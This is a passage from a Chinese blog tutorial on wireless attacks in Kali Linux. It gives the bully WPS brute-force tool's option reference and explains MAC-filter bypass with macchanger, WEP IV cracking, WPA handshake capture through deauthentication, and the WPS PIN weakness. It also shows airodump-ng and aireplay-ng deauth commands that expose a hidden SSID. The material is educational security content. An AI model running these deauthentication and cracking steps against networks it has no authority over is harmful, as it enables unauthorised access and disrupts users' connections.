  -R, --radiotap         : Assume radiotap headers are present [Auto]
  -W, --windows7         : Masquerade as a Windows 7 registrar   [No]
  -Z, --suppress         : Suppress packet throttling algorithm  [No]
  -V, --version          : Print version info and exit
  -h, --help             : Display this help information
</code></pre> 
  <h5>参数详细介绍</h5> 
  <pre><code>  -c, --channel N[,N...]

	Channel number, or comma separated list of channels to hop on. Some AP's will switch
	channels periodically. This option allows bully to reacquire an AP and continue an attack
	without intervention. Note that using channel hopping will typically slow an attack,
	especially when the AP's signal is weak, because time is spent scanning channels instead
	of testing pins. If no channel is provided, bully will hop on all channels.

  -i, --index N

	This is the index of the starting pin number in the randomized pin file. This option is
	not valid when running bully in sequential pin search mode.  This is typically handled
	for you automatically, i.e. an interrupted session will resume after the last pin that
	was successfully tested. Note that when less than 7 digits (8 digits if -B is active) are
	given, zeroes are padded on the left.

  -l, --lockwait N

	Number of seconds to wait when an AP locks WPS. Most AP's will lock out for 5 minutes, so
	the default value is 43 seconds. This will cause bully to sleep 7 times during a lockout
	period for a total of 301 seconds.

  -o, --output file

	By default, messages are printed to the standard output. Use this option to send output 
	to the specified file instead.

  -p, --pin N

	This is the starting pin number. Use of this option results in a sequential pin search
	starting at the given pin. This is typically handled for you automatically, i.e. an
	interrupted session will resume after the last pin that was successfully tested. Note
	that when less than 7 digits (8 digits if -B is active) are given, zeroes are padded on
	the left.

  -s, --source macaddr

	The source MAC address to embed in packets sent to the AP. Not all wireless cards can be
	used to spoof the source MAC address like this, but the option is provided for chipsets
	that allow it. When not provided, the wireless interface is probed to retrieve the MAC.

  -v, --verbosity N

	Verbosity level. 1 is the quietest, displaying only unrecoverable error information. Level
	3 displays the most information, and is best used to determine exactly what is happening
	during a session.

  -w, --workdir path

	Working directory, where randomized pins and session files are stored. Session files are
	created in this directory based on the BSSID of the access point. Only one set of randomized
	pins is created, and is used for all sessions. If you want to regenerate the pin file, simply
	delete it from this directory; however incomplete runs that used the deleted file will not
	be restartable. The default directory is ~/.bully/

  -5, --5ghz

	Use 5 GHz (a/n) channels instead of 2.54 GHz (b/g) channels. Untested.

  -B, --bruteforce

	Bruteforce the WPS pin checksum digit rather than calculating it according to the WPS
	specification. Some AP's use a non-compliant checksum in an attempt to evade attacks from
	compliant software. Use of this option can result in a ten-fold increase in the time it
	takes to discover the second portion of the pin, and should only be used when necessary.

  -F, --force

	In certain scenarios bully will print a warning message and exit. This typically indicates that
	it is being used in a manner that is questionable for most users. Advanced users and developers
	can force continuance with this option.

  -S, --sequential

	By default, pins are randomized. This options allows pins to be tested sequentially.

  -T, --test

	Test mode. No packets are injected. Can be used to validate arguments, determine if an
	access point is visible and has WPS enabled, generate a randomized pin file, or create a
	session file for the access point.

  -d, --pixiewps
  
            The -d option performs an offline attack, Pixie Dust (pixiewps),
	by automatically passing the PKE, PKR, E-Hash1, E-Hash2, E-Nonce and Authkey.
	pixiewps will then try to attack Ralink, Broadcom and Realtek chipsets.

  -g, --genpin N
  
            This is a pin generator for either [1] D-Link or [2] Belkin
	routers which uses a known vulnerability names "pingen attack".

  -a, --acktime N

	Deprecated. Packet timings are throttled automatically. Will be removed in future revision.

  -r, --retries N

	How many times do we resend packets when they aren't acknowledged? Default is 3. The idea is to
	make a best effort to ensure the AP receives every packet we send, rather than have transactions
	fail and restart due to a missed packet.

  -m, --m13time N

	Deprecated. Packet timings are throttled automatically. Will be removed in future revision.

  -t, --timeout N

	Deprecated. Packet timings are throttled automatically. Will be removed in future revision.

  -1, --pin1delay M[,N]

	Delay M seconds for every Nth NACK at M5. The default is 0,1 (no delay). Some access points
	get overwhelmed by too many successive WPS transactions, and can even crash if we don't dial
	things back a bit. This is the delay period to use during the first half of the pin.

  -2, --pin2delay M[,N]

	Delay M seconds for every Nth NACK at M7. The default is 0,1 (no delay). Some access points
	handle transactions through M4 easily, only to fall down on too many successive M6 messages.
	This is the delay period to use during the second half of the pin.
	
  -A, --noacks

	Turn off acknowledgement processing for all sent packets. Useful if you are sure the AP is
	receiving packets even though bully can't see acknowledgements. You might need this for a USB
	wifi adapter that processes acknowledgements and drops them before libpcap ever sees them.

  -C, --nocheck

	Turn off frame check sequence processing. We can improve performance somewhat by making the
	dubious assumption that all packets we receive are valid. See also --nofcs below.

  -D, --detectlock

	Certain access points do not indicate that they have locked WPS in their beacon IE tags, but
	summarily ignore all WPS transactions for a period of time. With this option, we can detect the
	condition and sleep for --lockdelay seconds before resuming. In the interests of remaining
	undetected, there is no point in broadcasting 5 minutes worth of unanswered EAP START messages.

  -E, --eapfail

	Send EAP FAIL messages after each transaction. Some AP's get confused when they don't see this.

  -L, --lockignore

	Ignore WPS lock conditions reported in beacon information elements (don't sleep).

  -M, --m57nack

	Treat M5 and M7 timeouts as NACK's, for those access points that don't send them but instead
	drop the transaction. When using this option you will probably want to increase the --timeout 
	value, so that bully doesn't incorrectly assume a pin is incorrect due to a delayed message.

  -N, --nofcs

	Some wireless hardware will have done the work of checking and stripping the FCS from packets
	already. Bully usually detects this and adjusts accordingly, but the option is here if you need
	to force it.

  -P, --probe

	Bully uses beacons to examine the WPS state of an access point. For nonbeaconing AP's, send
	directed probe requests and use the resulting probe responses instead. Requires --essid.

  -Q, --wpsinfo

	Gather WPS info by using probe request(s) against a target.
	May reveal chipset manufacturer, WPS version and other geeky stats.

  -R, --radiotap

	Assume radiotap headers are present in received packets. This is useful in cases where presence
	of radiotap headers is incorrectly reported or detected.

  -Z, --suppress

	Suppress automatic timimg algorithm and instead use default timings for received packets. NOT
	RECOMMENDED.

  -W, --windows7

	Masquerade as a Windows 7 registrar.

  -V, --version

	Print version information to standard output and exit.

  -h, --help

	Display onscreen help.

</code></pre> 
  <h4>原理分析</h4> 
  <h5>MAC地址绑定攻击</h5> 
  <p>管理员误以为MAC绑定是一种安全机制,能够限制可以关联的客户端MAC地址。<br> 准备AP:<br> 1、AP基本配置<br> 2、Open认证<br> 3、开启无线过滤<br> 修改MAC地址绕过过滤:<br> 别人做了白名单mac绑定,这样的话,侦听这个BSSID,查看哪一个STA的MAC已经连上,复制这个已经连上的STA的MAC,把这个MAC地址复制到自己的无线网卡的MAC上。</p> 
  <pre><code>ifconfig wlan0 down
macchanger -m 接MAC地址 接网卡
ifconfig wlan0 up
</code></pre> 
  <p>再去连接,就可以连接上了。——>双方存在的话会丢包,信号不好(除非只有一个存在)</p> 
  <h5>WEP密码破解原理</h5> 
  <h6>WEP共享密钥破解</h6> 
  <p>1、IV并非完全随机<br> 2、每224个包可能出现一次IV重用<br> 3、收集大量IV之后找出相同IV及其对应密文,分析得出共享密码<br> ARP回包中包含IV<br> 只要在IV足够多的情况下,任何复杂程度的WEP密码都可以被破解(IV量破解和暴力破解)</p> 
  <h6>FAKE AUTHENTICATION</h6> 
  <p>伪造认证,以便与AP进行正常通信</p> 
  <h6>ARP重放</h6> 
  <p>侦听正常的ARP包并重放给AP<br> AP回包中包含大量弱IV——>重复出现</p> 
  <h5>WPA攻击</h5> 
  <h6>DEAUTHENTICATION</h6> 
  <p>强制客户端与AP断开关联<br> 重连生成ARP请求,AP回包包含IV<br> WPA重连过程,过程抓取4步握手过程,保存到本地cap文件中。<br> 无客户端情况下此攻击无效<br> 暴力破解条件:</p> 
  <pre><code>1、CPU资源
2、时间
3、字典质量:
	网上共享的字典
	泄露密码(an Internet)
	地区电话号码段
	Crunch生成字典
	kali中自带的字典 ——>有些密码不符合要求,会自动过滤
</code></pre> 
  <h5>WPS攻击</h5> 
  <ul> 
   <li>WPS是WiFi联盟2006年开发的一项技术<br> 通过PIN码来简化无线接入的操作,无需记住PSK<br> 路由器和网卡各按一个按钮就能接入无线<br> PIN码是分为前后各4位的2段共8位数字</li> 
   <li>安全漏洞<br> 2011年被发现安全涉及漏洞<br> 接入发起方可以根据路由器的返回信息判断前4位是否正确<br> 而PIN码的后4位只有1000种定义的组合(最后一位是checksum)<br> 所以全部穷举破解只需要11000次尝试<br> PSK:218340105584896种可能<br> 标准本身没有设计锁定机制,目前多个厂商已实现锁定机制<br> //都要支持WPS功能,初衷是:物理连接,物理确认(通过按钮 )。<br> //AP要是支持WPS的话,只要尝试最多11000次找出PIN码,就会被破解。<br> ——>因为有限制,所以设置攻击方式、次数等</li> 
   <li>用计算器直接算出PIN<br> C83A35、00B00C——>很少见<br> //它直接找出PIN码,最多11000次;找出后计算出key,肯定能算出,不像WPA要字典。</li> 
  </ul> 
  <h5>小实验</h5> 
  <p>隐藏SSID防止破解有用么?<br> 隐藏SSID就是把你wifi的AP隐藏起来,不让别人搜索到。请注意,这样的话,在连接wifi时就要手动输入AP名。<br> <img src="http://img.e-com-net.com/image/info8/bae62dbf302041429c6dbd2643e0704e.jpg" alt="在这里插入图片描述" width="650" height="18"><br> 只看到了 length 12,没有ap名。</p> 
  <pre><code>airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8 wlan0mon
aireplay-ng -0 30 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon
</code></pre> 
  <p>破解密码的方法不变;使用上面两个命令就可以轻松得到ap名。</p> 
  <p>事实证明,隐藏SSID并不管啥事;其实设置一个复杂的密码比隐藏SSID要管用的多。</p> 
  <p>本文同步更新至个人博客:罗小黑零食铺<br> 如果个人博客打不开就是维护升级中~</p> 
 </div> 
</div>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1288228802018717696"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(kali,linux)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1835513699826233344.htm"
                           title="android系统selinux中添加新属性property" target="_blank">android系统selinux中添加新属性property</a>
                        <span class="text-muted">辉色投像</span>

                        <div>1.定位/android/system/sepolicy/private/property_contexts声明属性开头:persist.charge声明属性类型:u:object_r:system_prop:s0图12.定位到android/system/sepolicy/public/domain.te删除neverallow{domain-init}default_prop:property</div>
                    </li>
                    <li><a href="/article/1835509391361667072.htm"
                           title="Linux下QT开发的动态库界面弹出操作(SDL2)" target="_blank">Linux下QT开发的动态库界面弹出操作(SDL2)</a>
                        <span class="text-muted">13jjyao</span>
<a class="tag" taget="_blank" href="/search/QT%E7%B1%BB/1.htm">QT类</a><a class="tag" taget="_blank" href="/search/qt/1.htm">qt</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/sdl2/1.htm">sdl2</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>需求:操作系统为linux,开发框架为qt,做成需带界面的qt动态库,调用方为java等非qt程序难点:调用方为java等非qt程序,也就是说调用方肯定不带QApplication::exec(),缺少了这个,QTimer等事件和QT创建的窗口将不能弹出(包括opencv也是不能弹出);这与qt调用本身qt库是有本质的区别的思路:1.调用方缺QApplication::exec(),那么我们在接口</div>
                    </li>
                    <li><a href="/article/1835504596898902016.htm"
                           title="linux sdl windows.h,Windows下的SDL安装" target="_blank">linux sdl windows.h,Windows下的SDL安装</a>
                        <span class="text-muted">奔跑吧linux内核</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/sdl/1.htm">sdl</a><a class="tag" taget="_blank" href="/search/windows.h/1.htm">windows.h</a>
                        <div>首先你要下载并安装SDL开发包。如果装在C盘下,路径为C:\SDL1.2.5如果在WINDOWS下。你可以按以下步骤:1.打开VC++,点击"Tools",Options2,点击directories选项3.选择"Includefiles"增加一个新的路径。"C:\SDL1.2.5\include"4,现在选择"Libaryfiles“增加"C:\SDL1.2.5\lib"现在你可以开始编写你的第</div>
                    </li>
                    <li><a href="/article/1835503712899002368.htm"
                           title="linux中sdl的使用教程,sdl使用入门" target="_blank">linux中sdl的使用教程,sdl使用入门</a>
                        <span class="text-muted">Melissa Corvinus</span>
<a class="tag" taget="_blank" href="/search/linux%E4%B8%ADsdl%E7%9A%84%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/1.htm">linux中sdl的使用教程</a>
                        <div>本文通过一个简单示例讲解SDL的基本使用流程。示例中展示一个窗口,窗口里面有个随机颜色快随机移动。当我们鼠标点击关闭按钮时间窗口关闭。基本步骤如下:1.初始化SDL并创建一个窗口。SDL_Init()初始化SDL_CreateWindow()创建窗口2.纹理渲染存储RGB和存储纹理的区别:比如一个从左到右由红色渐变到蓝色的矩形,用存储RGB的话就需要把矩形中每个点的具体颜色值存储下来;而纹理只是一</div>
                    </li>
                    <li><a href="/article/1835502578050363392.htm"
                           title="PHP环境搭建详细教程" target="_blank">PHP环境搭建详细教程</a>
                        <span class="text-muted">好看资源平台</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a>
                        <div>PHP是一个流行的服务器端脚本语言,广泛用于Web开发。为了使PHP能够在本地或服务器上运行,我们需要搭建一个合适的PHP环境。本教程将结合最新资料,介绍在不同操作系统上搭建PHP开发环境的多种方法,包括Windows、macOS和Linux系统的安装步骤,以及本地和Docker环境的配置。1.PHP环境搭建概述PHP环境的搭建主要分为以下几类:集成开发环境:例如XAMPP、WAMP、MAMP,这</div>
                    </li>
                    <li><a href="/article/1835501948011376640.htm"
                           title="使用 FinalShell 进行远程连接(ssh 远程连接 Linux 服务器)" target="_blank">使用 FinalShell 进行远程连接(ssh 远程连接 Linux 服务器)</a>
                        <span class="text-muted">编程经验分享</span>
<a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/1.htm">开发工具</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/ssh/1.htm">ssh</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>目录前言基本使用教程新建远程连接连接主机自定义命令路由追踪前言后端开发,必然需要和服务器打交道,部署应用,排查问题,查看运行日志等等。一般服务器都是集中部署在机房中,也有一些直接是云服务器,总而言之,程序员不可能直接和服务器直接操作,一般都是通过ssh连接来登录服务器。刚接触远程连接时,使用的是XSHELL来远程连接服务器,连接上就能够操作远程服务器了,但是仅用XSHELL并没有上传下载文件的功能</div>
                    </li>
                    <li><a href="/article/1835493373906087936.htm"
                           title="libyuv之linux编译" target="_blank">libyuv之linux编译</a>
                        <span class="text-muted">jaronho</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a>
                        <div>文章目录一、下载源码二、编译源码三、注意事项1、银河麒麟系统(aarch64)(1)解决armv8-a+dotprod+i8mm指令集支持问题(2)解决armv9-a+sve2指令集支持问题一、下载源码到GitHub网站下载https://github.com/lemenkov/libyuv源码,或者用直接用git克隆到本地,如:gitclonehttps://github.com/lemenko</div>
                    </li>
                    <li><a href="/article/1835489588169240576.htm"
                           title="ARM驱动学习之5 LEDS驱动" target="_blank">ARM驱动学习之5 LEDS驱动</a>
                        <span class="text-muted">JT灬新一</span>
<a class="tag" taget="_blank" href="/search/%E5%B5%8C%E5%85%A5%E5%BC%8F/1.htm">嵌入式</a><a class="tag" taget="_blank" href="/search/C/1.htm">C</a><a class="tag" taget="_blank" href="/search/%E5%BA%95%E5%B1%82/1.htm">底层</a><a class="tag" taget="_blank" href="/search/arm%E5%BC%80%E5%8F%91/1.htm">arm开发</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E7%89%87%E6%9C%BA/1.htm">单片机</a>
                        <div>ARM驱动学习之5LEDS驱动知识点:•linuxGPIO申请函数和赋值函数–gpio_request–gpio_set_value•三星平台配置GPIO函数–s3c_gpio_cfgpin•GPIO配置输出模式的宏变量–S3C_GPIO_OUTPUT注意点:DRIVER_NAME和DEVICE_NAME匹配。实现步骤:1.加入需要的头文件://Linux平台的gpio头文件#include//三</div>
                    </li>
                    <li><a href="/article/1835485681187647488.htm"
                           title="【华为OD技术面试真题精选 - 非技术题】 -HR面,综合面_华为od hr面" target="_blank">【华为OD技术面试真题精选 - 非技术题】 -HR面,综合面_华为od hr面</a>
                        <span class="text-muted">一个射手座的程序媛</span>
<a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E5%91%98/1.htm">程序员</a><a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BAod/1.htm">华为od</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/%E8%81%8C%E5%9C%BA%E5%92%8C%E5%8F%91%E5%B1%95/1.htm">职场和发展</a>
                        <div>最后的话最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!资料预览给大家整理的视频资料:给大家整理的电子书资料:如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。需要这份系统化的资料的朋友,可以点击这里获</div>
                    </li>
                    <li><a href="/article/1835482277870661632.htm"
                           title="简介Shell、zsh、bash" target="_blank">简介Shell、zsh、bash</a>
                        <span class="text-muted">zhaosuningsn</span>
<a class="tag" taget="_blank" href="/search/Shell/1.htm">Shell</a><a class="tag" taget="_blank" href="/search/zsh/1.htm">zsh</a><a class="tag" taget="_blank" href="/search/bash/1.htm">bash</a><a class="tag" taget="_blank" href="/search/shell/1.htm">shell</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/bash/1.htm">bash</a>
                        <div>Shell是Linux和Unix的外壳,类似衣服,负责外界与Linux和Unix内核的交互联系。例如接收终端用户及各种应用程序的命令,把接收的命令翻译成内核能理解的语言,传递给内核,并把内核处理接收的命令的结果返回给外界,即Shell是外界和内核沟通的桥梁或大门。Linux和Unix提供了多种Shell,其中有种bash,当然还有其他好多种。Mac电脑中不但有bash,还有一个zsh,预装的,据说</div>
                    </li>
                    <li><a href="/article/1835479000600899584.htm"
                           title="Linux MariaDB使用OpenSSL安装SSL证书" target="_blank">Linux MariaDB使用OpenSSL安装SSL证书</a>
                        <span class="text-muted">Meta39</span>
<a class="tag" taget="_blank" href="/search/MySQL/1.htm">MySQL</a><a class="tag" taget="_blank" href="/search/Oracle/1.htm">Oracle</a><a class="tag" taget="_blank" href="/search/MariaDB/1.htm">MariaDB</a><a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/Windows/1.htm">Windows</a><a class="tag" taget="_blank" href="/search/ssl/1.htm">ssl</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/mariadb/1.htm">mariadb</a>
                        <div>进入到证书存放目录,批量删除.pem证书警告:确保已经进入到证书存放目录find.-typef-iname\*.pem-delete查看是否安装OpenSSLopensslversion没有则安装yuminstallopensslopenssl-devel开启SSL编辑/etc/my.cnf文件(没有的话就创建,但是要注意,在/etc/my.cnf.d/server.cnf配置了datadir的,</div>
                    </li>
                    <li><a href="/article/1835469294436184064.htm"
                           title="【从浅识到熟知Linux】Linux发展史" target="_blank">【从浅识到熟知Linux】Linux发展史</a>
                        <span class="text-muted">Jammingpro</span>
<a class="tag" taget="_blank" href="/search/%E4%BB%8E%E6%B5%85%E5%AD%A6%E5%88%B0%E7%86%9F%E7%9F%A5Linux/1.htm">从浅学到熟知Linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a>
                        <div>归属专栏:从浅学到熟知Linux个人主页:Jammingpro每日努力一点点,技术变化看得见文章前言:本篇文章记录Linux发展的历史,因在介绍Linux过程中涉及的其他操作系统及人物,本文对相关内容也有所介绍。文章目录Unix发展史Linux发展史开源Linux官网企业应用情况发行版本在学习Linux前,我们可能都会问Linux从哪里来?它是如何发展的。但在介绍Linux之前,需要先介绍一下Un</div>
                    </li>
                    <li><a href="/article/1835467782687387648.htm"
                           title="linux 发展史" target="_blank">linux 发展史</a>
                        <span class="text-muted">种树的猴子</span>
<a class="tag" taget="_blank" href="/search/%E5%86%85%E6%A0%B8/1.htm">内核</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/1.htm">操作系统</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a>
                        <div>linux发展史说明此前对linux认识模糊一知半解,近期通过学习将自己对于linux的发展总结一下方便大家日后的学习。那Linux是目前一款非常火热的开源操作系统,可是linux是什么时候出现的,又是因为什么样的原因被开发出来的呢。以下将对linux的发展历程进行详细的讲解。目录一、Linux发展背景二、UINIX的诞生三、UNIX的重要分支-BSD的诞生四、Minix的诞生五、GNU与Free</div>
                    </li>
                    <li><a href="/article/1835466523163062272.htm"
                           title="Linux sh命令" target="_blank">Linux sh命令</a>
                        <span class="text-muted">fengyehongWorld</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>目录一.基本语法二.选项2.1-c字符串中读取内容,并执行2.1.1基本用法2.1.2获取当前目录下失效的超链接2.2-x每个命令执行之前,将其打印出来2.3结合Here文档使用一.基本语法⏹Linux和Unix系统中用于执行shell脚本或运行命令的命令。sh[选项][脚本文件][参数...]⏹选项-c:从字符串中读取内容,并执行。-x:在每个命令执行之前,将其打印出来。-s:从标准流中读取内容</div>
                    </li>
                    <li><a href="/article/1835466270955368448.htm"
                           title="Linux vi常用命令" target="_blank">Linux vi常用命令</a>
                        <span class="text-muted">fengyehongWorld</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>参考资料viコマンド(vimコマンド)リファレンス目录一.保存系命令二.删除系命令三.移动系命令四.复制粘贴系命令一.保存系命令⏹保存并退出:wq⏹强制保存并退出:wq!⏹退出(文件未编辑):q⏹强制退出(忽略已编辑内容):q!⏹另存为:w新文件名二.删除系命令⏹删除当前行dd⏹清空整个文档gg:移动到文档顶部dG:删除到最后一行ggdG三.移动系命令⏹移动到文档顶部gg⏹移动到文档底部#方式1G</div>
                    </li>
                    <li><a href="/article/1835452402178813952.htm"
                           title="Linux查看服务器日志" target="_blank">Linux查看服务器日志</a>
                        <span class="text-muted">TPBoreas</span>
<a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a>
                        <div>一、tail这个是我最常用的一种查看方式用法如下:tail-n10test.log查询日志尾部最后10行的日志;tail-n+10test.log查询10行之后的所有日志;tail-fn10test.log循环实时查看最后1000行记录(最常用的)一般还会配合着grep用,(实时抓包)例如:tail-fn1000test.log|grep'关键字'(动态抓包)tail-fn1000test.log</div>
                    </li>
                    <li><a href="/article/1835443696431099904.htm"
                           title="笋丁网页自动回复机器人V3.0.0免授权版源码" target="_blank">笋丁网页自动回复机器人V3.0.0免授权版源码</a>
                        <span class="text-muted">希希分享</span>
<a class="tag" taget="_blank" href="/search/%E8%BD%AF%E5%B8%8C%E7%BD%9158soho_cn/1.htm">软希网58soho_cn</a><a class="tag" taget="_blank" href="/search/%E6%BA%90%E7%A0%81%E8%B5%84%E6%BA%90/1.htm">源码资源</a><a class="tag" taget="_blank" href="/search/%E7%AC%8B%E4%B8%81%E7%BD%91%E9%A1%B5%E8%87%AA%E5%8A%A8%E5%9B%9E%E5%A4%8D%E6%9C%BA%E5%99%A8%E4%BA%BA/1.htm">笋丁网页自动回复机器人</a>
                        <div>笋丁网页机器人一款可设置自动回复,默认消息,调用自定义api接口的网页机器人。此程序后端语言使用Golang,内存占用最高不超过30MB,1H1G服务器流畅运行。仅支持Linux服务器部署,不支持虚拟主机,请悉知!使用自定义api功能需要有一定的建站基础。源码下载:https://download.csdn.net/download/m0_66047725/89754250更多资源下载:关注我。安</div>
                    </li>
                    <li><a href="/article/1835417097660887040.htm"
                           title="Linux CTF逆向入门" target="_blank">Linux CTF逆向入门</a>
                        <span class="text-muted">蚁景网络安全</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/CTF/1.htm">CTF</a>
                        <div>1.ELF格式我们先来看看ELF文件头,如果想详细了解,可以查看ELF的manpage文档。关于ELF更详细的说明:e_shoff:节头表的文件偏移量(字节)。如果文件没有节头表,则此成员值为零。sh_offset:表示了该section(节)离开文件头部位置的距离+-------------------+|ELFheader|---++--------->+-------------------</div>
                    </li>
                    <li><a href="/article/1835415332345442304.htm"
                           title="NPM私库搭建-verdaccio(Linux)" target="_blank">NPM私库搭建-verdaccio(Linux)</a>
                        <span class="text-muted">Beam007</span>
<a class="tag" taget="_blank" href="/search/npm/1.htm">npm</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>1、安装nodelinux服务器安装nodea)、官网下载所需的node版本https://nodejs.org/dist/v14.21.0/b)、解压安装包若下载的是xxx.tar.xz文件,解压命令为tar-xvfxxx.tar.xzc)、修改环境变量修改:/etc/profile文件#SETPATHFORNODEJSexportNODE_HOME=NODEJS解压安装的路径exportPAT</div>
                    </li>
                    <li><a href="/article/1835400463676174336.htm"
                           title="C++常见知识掌握" target="_blank">C++常见知识掌握</a>
                        <span class="text-muted">nfgo</span>
<a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>1.Linux软件开发、调试与维护内核与系统结构Linux内核是操作系统的核心,负责管理硬件资源,提供系统服务,它是系统软件与硬件之间的桥梁。主要组成部分包括:进程管理:内核通过调度器分配CPU时间给各个进程,实现进程的创建、调度、终止等操作。使用进程描述符(task_struct)来存储进程信息,包括状态(就绪、运行、阻塞等)、优先级、内存映射等。内存管理:包括物理内存和虚拟内存管理。通过页表映</div>
                    </li>
                    <li><a href="/article/1835399577818198016.htm"
                           title="linux脚本sed替换变量,sed 命令中替换值为shell变量" target="_blank">linux脚本sed替换变量,sed 命令中替换值为shell变量</a>
                        <span class="text-muted">诺坎普之约</span>
<a class="tag" taget="_blank" href="/search/linux%E8%84%9A%E6%9C%ACsed%E6%9B%BF%E6%8D%A2%E5%8F%98%E9%87%8F/1.htm">linux脚本sed替换变量</a>
                        <div>文章目录sed命令中替换值为shell变量替换基本语法sed中替换使用shell变量总结参考文档sed命令中替换值为shell变量替换基本语法大家都是sed有很多用法,最多就应该是替换一些值了。让我们先回忆sed的替换语法。在sed进行替换的时候sed-i's/old/new/g'1.txtecho"hellooldfrank"|sed's/old/new/g'结果如下:hellonewfrank</div>
                    </li>
                    <li><a href="/article/1835398694636187648.htm"
                           title="RK3229_Android9.0_Box 4G模块EC200A调试" target="_blank">RK3229_Android9.0_Box 4G模块EC200A调试</a>
                        <span class="text-muted">suifen_</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
                        <div>0、kernel修改这部分完全可以参考Linux的移植:RK3588EC200A-CN【4G模块】调试_rkec200a-cn-CSDN博客1、修改device/rockchip/rk322xdiff--gita/device.mkb/device.mkindexec6bfaa..e7c32d1100755---a/device.mk+++b/device.mk@@-105,6+105,8@@en</div>
                    </li>
                    <li><a href="/article/1835390878806536192.htm"
                           title="linux 安装Sublime Text 3" target="_blank">linux 安装Sublime Text 3</a>
                        <span class="text-muted">hhyiyuanyu</span>
<a class="tag" taget="_blank" href="/search/Python%E5%AD%A6%E4%B9%A0/1.htm">Python学习</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/sublime/1.htm">sublime</a><a class="tag" taget="_blank" href="/search/text/1.htm">text</a>
